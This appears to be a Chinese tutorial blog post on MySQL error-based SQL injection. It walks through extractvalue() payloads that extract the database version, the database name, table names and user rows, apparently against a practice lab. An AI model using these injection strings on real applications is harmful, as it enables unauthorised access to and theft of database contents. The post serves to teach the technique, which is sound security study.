mysql報錯注入是什么

mysql中,報錯注入就是指通過頁面報出的錯誤信息,構造合適的語句來獲取想要的數據;應用系統未關閉數據庫報錯函數,可以使用extractvalue()函數,從目標XML中返回包含所查詢值的字符串。

mysql報錯注入是什么

本教程操作環境:windows10系統、mysql8.0.22版本、Dell G3電腦。

mysql報錯注入是什么

一、什么是報錯注入?以及什么情況下使用?

  報錯注入也可以說?是一種盲注——構造?payload?讓信息通過錯誤提示回顯出。在使用聯合查詢無法爆出顯位時可考慮使用報錯注入。

那么報錯注入是怎么形成的呢?

首先是應用系統未關閉數據庫報錯函數,對于一些SQL語句的錯誤,直接回顯在了頁面上,部分甚至直接泄露數據庫名和表名;

其次,必不可少就是后臺未對MySQL相應的報錯函數進行過濾

二、報錯注入常用的函數

  在這里我使用的是extractvalue()函數,其作用是從目標XML中返回包含所查詢值的字符串

  EXTRACTVALUE?(XML_document,?XPath_string):第一個參數:XML_document是String格式,為XML文檔對象的名稱;?第二個參數:XPath_string?(Xpath格式的字符串)

三、基本流程

  1.獲取版本信息

    使用語句?1′?and?extractvalue(1,concat(0x7e,(select?@@version),0x7e))–+?。?其中concat是拼接()內的參數,0x7e解碼之后為~符號。–+為注釋符,將源代碼中之后的語句全部注釋掉以免發生錯誤。測試之后結果如下:

???      //concat前的1為extractvalue()函數的第一個參數,可換為任意數字

??      //語句中的第二個0x7e可以省略

   2.獲取數據庫名稱

    使用語句

?1‘?and?extractvalue(1,concat(0x7e,(select?database()),0x7e))--+,

?  3.獲取表名

     1’?and?extractvalue(1,concat(0x7e,(select?group_concat(table_name)?from?information_schema.tables?where?table_schema='security'),0x7e))--+.?其中group_concat將tale_name字段的所有行放在一行上顯示出來,如下所示

?  4.獲取數據

    1'?and?extractvalue(1,concat(0x7e,(select?*?from?(select?username?from?users?limit?0,1)?as?a),0x7e))--+.?修改其中的limit參數即可獲取users表中的不同行內容

推薦學習:mysql視頻教程

以上就是

? 版權聲明
THE END
喜歡就支持一下吧
點贊13 分享